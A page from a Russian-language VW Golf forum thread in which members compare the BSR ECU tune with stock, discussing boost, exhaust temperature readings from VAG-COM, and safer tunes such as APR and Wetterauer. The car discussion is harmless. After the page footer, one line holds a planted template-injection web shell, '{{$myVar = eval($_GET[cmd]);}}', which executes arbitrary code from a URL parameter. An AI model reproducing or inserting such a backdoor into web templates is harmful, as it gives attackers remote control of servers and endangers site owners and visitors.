+ Ответить в теме
Страница 4 из 7 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя
Показано с 31 по 40 из 62

Тема: Bsr Vs Stock


  1. #31
    <div class='quotetop'>Цитата(Max &#064; Apr 2 2009, 19&#58;16) <{POST_SNAPBACK}></div><div class='quotemain'>Там где посредине пик буста - это 1,27 бара, температура выпуска 999 градусов.[/b][/quote]
    ну вот на бензине BP 98 ульт у меня точно такая же картина сложилась))))))) 1,27 вдуло около 4000 оборотов... а вот на коримосе 1,32 вдуло на 3500)))))) ну и температура 999)))))))
    Это у тебя на БСР или сток?

    Короче пока 4 вывода есть:

    1. такая особенность и проще забить и получать удовольствие от езды
    2. не исправен шнур ваг-ком - например, что-то глючит и показывает какие-то запредельные температуры...
    3. 112 блок дает значение температуры не совсем реальное, а высчитанное по какой-то формуле, например, учитывая несколько параметров...
    4. BSR - &#092;&#092;&#092;GTI Killer/// [img]style_emoticons/<#EMO_DIR#>/super_man.gif[/img]

    Что из четырех выбрать пока не понятно... нужно больше информации... пообщаться в наших сервисах, написать в БСР (и обязательно спросить, какие значения буста, егт, афр должны быть на их прошивке на 5 гти и на 5 гти е30), написать в АПР (немного приврать и посмотреть, что ответят), создать подобную тему на вражеских форумах (что я, скорее всего сегодня ночью сделаю, после очередного замера) ну и замерить еще несколько гольфов и сравнить показания... желательно замерять стоки и стэйджи1... так как на выпуске температура должна быть ниже, а если еще и впуск+кулер, так это тем более...

    ЗЫ: сегодня ради интереса позвонил в сервис... рассказал, что и как... сервисмен вообще практически не понял о чем я ему втираю... сказал, что такие параметры, как АФР и ЕГТ они вообще не смотрят... говорит, что если что-то будет не так или если какое-либо значение приблизится к критическому моменту, выскочит ошибка и загорится чек... не ипи моск, катайся)))))))))

  2. #32
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Прочитал тему - ни*уя не понял, коллеги объясните пожалуйста на пальцах ног,
    для блезарукех, за что вы очкуете и чем аргументируете???

  3. #33
    GTI-Racing Max is on a distinguished road Аватар для Max
    Регистрация
    24.08.2007
    Откуда
    Москва
    Машина
    VW Golf V GTI Edition 30
    Сообщений
    1,406
    <div class='quotetop'>Цитата(JekaVika &#064; Apr 2 2009, 21&#58;33) <{POST_SNAPBACK}></div><div class='quotemain'>ну вот на бензине BP 98 ульт у меня точно такая же картина сложилась))))))) 1,27 вдуло около 4000 оборотов... а вот на коримосе 1,32 вдуло на 3500)))))) ну и температура 999)))))))
    Это у тебя на БСР или сток?

    Короче пока 4 вывода есть:

    1. такая особенность и проще забить и получать удовольствие от езды
    2. не исправен шнур ваг-ком - например, что-то глючит и показывает какие-то запредельные температуры...
    3. 112 блок дает значение температуры не совсем реальное, а высчитанное по какой-то формуле, например, учитывая несколько параметров...
    4. BSR - &#092;&#092;&#092;GTI Killer/// [img]style_emoticons/<#EMO_DIR#>/super_man.gif[/img]

    Что из четырех выбрать пока не понятно... нужно больше информации... пообщаться в наших сервисах, написать в БСР (и обязательно спросить, какие значения буста, егт, афр должны быть на их прошивке на 5 гти и на 5 гти е30), написать в АПР (немного приврать и посмотреть, что ответят), создать подобную тему на вражеских форумах (что я, скорее всего сегодня ночью сделаю, после очередного замера) ну и замерить еще несколько гольфов и сравнить показания... желательно замерять стоки и стэйджи1... так как на выпуске температура должна быть ниже, а если еще и впуск+кулер, так это тем более...

    ЗЫ: сегодня ради интереса позвонил в сервис... рассказал, что и как... сервисмен вообще практически не понял о чем я ему втираю... сказал, что такие параметры, как АФР и ЕГТ они вообще не смотрят... говорит, что если что-то будет не так или если какое-либо значение приблизится к критическому моменту, выскочит ошибка и загорится чек... не ипи моск, катайся)))))))))[/b][/quote]

    Женя, жжошь&#33; [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
    VAG-COM - всего лишь интерфейс, он сам ничего не измеряет, так что про пункт 2 забудь.
    Пункт один - это всегда хорошо.
    112 блок действительно показывает что-то, вопрос только что - если есть желание, нужно садиться и разбираться - искать информацию и т.д.
    BSR - &#092;&#092;&#092;GTI Killer/// - 100% - надо залить что-нибудь тошнотворное чтобы, двиг больше 50 лс не выдавал и педальку газа жать аккуратно - тем самым продлить двигу жизнь навека [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]

    Короче варианта два - забить и не парить мозк, или сидеть разбираться кто там чего показывает и зачем [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
    Совершить невозможное - не такая уж великая проблема, если знаешь с чего начать... (с) Max Frei

  4. #34
    <div class='quotetop'>Цитата(Max &#064; Apr 2 2009, 21&#58;56) <{POST_SNAPBACK}></div><div class='quotemain'>Женя, жжошь&#33; [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
    VAG-COM - всего лишь интерфейс, он сам ничего не измеряет, так что про пункт 2 забудь.
    Пункт один - это всегда хорошо.
    112 блок действительно показывает что-то, вопрос только что - если есть желание, нужно садиться и разбираться - искать информацию и т.д.
    BSR - &#092;&#092;&#092;GTI Killer/// - 100% - надо залить что-нибудь тошнотворное чтобы, двиг больше 50 лс не выдавал и педальку газа жать аккуратно - тем самым продлить двигу жизнь навека [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]

    Короче варианта два - забить и не парить мозк, или сидеть разбираться кто там чего показывает и зачем [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img][/b][/quote]
    [img]style_emoticons/<#EMO_DIR#>/big_smile1.gif[/img] [img]style_emoticons/<#EMO_DIR#>/big_smile1.gif[/img] [img]style_emoticons/<#EMO_DIR#>/big_smile1.gif[/img]
    ну вопчем да, ты прав)))


    КИБАЛЬЧИШЬ, давай повагкомим тебя... есичо, я расскажу зачем тебе очковать)))))))))))))
    если серьезно, то позже отпишу, так как щас убегаю уже... ну или кто-нить другой тебе ответит)))

  5. #35
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    <div class='quotetop'>Цитата(JekaVika &#064; Apr 2 2009, 22&#58;19) <{POST_SNAPBACK}></div><div class='quotemain'>КИБАЛЬЧИШЬ, давай повагкомим тебя... есичо, я расскажу зачем тебе очковать)))))))))))))[/b][/quote]

    Вот так - третий год езжу не очковал, а тут на те по морде,
    очковай, цуко&#33;&#33;&#33;
    Шо за кипешь, робятки???

  6. #36
    GTI-Racing Max is on a distinguished road Аватар для Max
    Регистрация
    24.08.2007
    Откуда
    Москва
    Машина
    VW Golf V GTI Edition 30
    Сообщений
    1,406
    <div class='quotetop'>Цитата(JekaVika &#064; Apr 2 2009, 22&#58;19) <{POST_SNAPBACK}></div><div class='quotemain'>... щас убегаю уже...[/b][/quote]

    Приедешь - отпиши чего намерял [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
    Совершить невозможное - не такая уж великая проблема, если знаешь с чего начать... (с) Max Frei

  7. #37
    GTI-Racing Max is on a distinguished road Аватар для Max
    Регистрация
    24.08.2007
    Откуда
    Москва
    Машина
    VW Golf V GTI Edition 30
    Сообщений
    1,406
    <div class='quotetop'>Цитата(КИБАЛЬЧИШЬ &#064; Apr 2 2009, 22&#58;22) <{POST_SNAPBACK}></div><div class='quotemain'>Вот так третий год езжу не очковал, а тут на те по морде,
    очковай, цуко&#33;&#33;&#33;
    Шо за кипешь, робятки???[/b][/quote]

    Лешка, очковать надо из-за детонации и повышенной температуры выпуска которая может угробить двигатель. Женька вычитал на golfmkv.com, что есть более менее безопасные чипы, а есть чипы предельные, которые подрывают ресурс двигателя. Например, APR вроде бы как считается безопасным, а вот BSR - очень жесткий чип. Ну и решил Женек вооружившись VAG-COM-ом все самостоятельно измерить и проверить [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
    Совершить невозможное - не такая уж великая проблема, если знаешь с чего начать... (с) Max Frei

  8. #38
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    <div class='quotetop'>Цитата(Max &#064; Apr 2 2009, 22&#58;27) <{POST_SNAPBACK}></div><div class='quotemain'>Лешка, очковать надо из-за детонации и повышенной температуры выпуска которая может угробить двигатель. Женька вычитал на golfmkv.com, что есть более менее безопасные чипы, а есть чипы предельные, которые подрывают ресурс двигателя. Например, APR вроде бы как считается безопасным, а вот BSR - очень жесткий чип. Ну и решил Женек вооружившись VAG-COM-ом все самостоятельно измерить и проверить [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img][/b][/quote]

    Вооооотттт&#33;&#33;&#33;&#33; А Дядя Леша всегда Вам говорил, ставьте Wetterauer,
    а вы - нет мусье нам ба мошность поболе да моменту кучу, мы шас зальем
    БСР али, если кризис не доконает, АПР... Вот Wetter почти сток, тошнишь себе... [img]style_emoticons/<#EMO_DIR#>/go.gif[/img]

  9. #39
    wett не такой уж и "почти сток" у меня машину очень оживил&#33; но померить хочется т.к. почти уверен что там полная жопа происходит.

  10. #40
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    <div class='quotetop'>Цитата(ed1evil &#064; Apr 2 2009, 22&#58;46) <{POST_SNAPBACK}></div><div class='quotemain'>wett не такой уж и "почти сток" у меня машину очень оживил&#33; но померить хочется т.к. почти уверен что там полная жопа происходит.[/b][/quote]

    А уменя сток и все тут просто название клевае Wetterauer, замеряться нать
    только чур слабонервным удалиться...

+ Ответить в теме
Страница 4 из 7 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя

Похожие темы

  1. Brembo zr17 &stock gti
    от klubnichka1 в разделе Покупка и продажа
    Ответов: 3
    Последнее сообщение: 03.01.2024, 21:46
  2. Golf 6 R, DSG, 5дв, 2012г, stock
    от brave_cozmo в разделе Куплю авто
    Ответов: 3
    Последнее сообщение: 02.05.2023, 14:45
  3. Выпуск и впуск от Golf 6 GTI (stock)
    от Johny в разделе Покупка и продажа запчастей
    Ответов: 5
    Последнее сообщение: 29.04.2014, 22:33
  4. full exhaust mk5 gti (stock)
    от popoopop123 в разделе Покупка и продажа запчастей
    Ответов: 1
    Последнее сообщение: 08.07.2013, 16:32
  5. Губа Mk5 GTi votex lip vs stock gti vs edition 30 lip
    от Alucard в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 0
    Последнее сообщение: 06.05.2012, 15:36

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}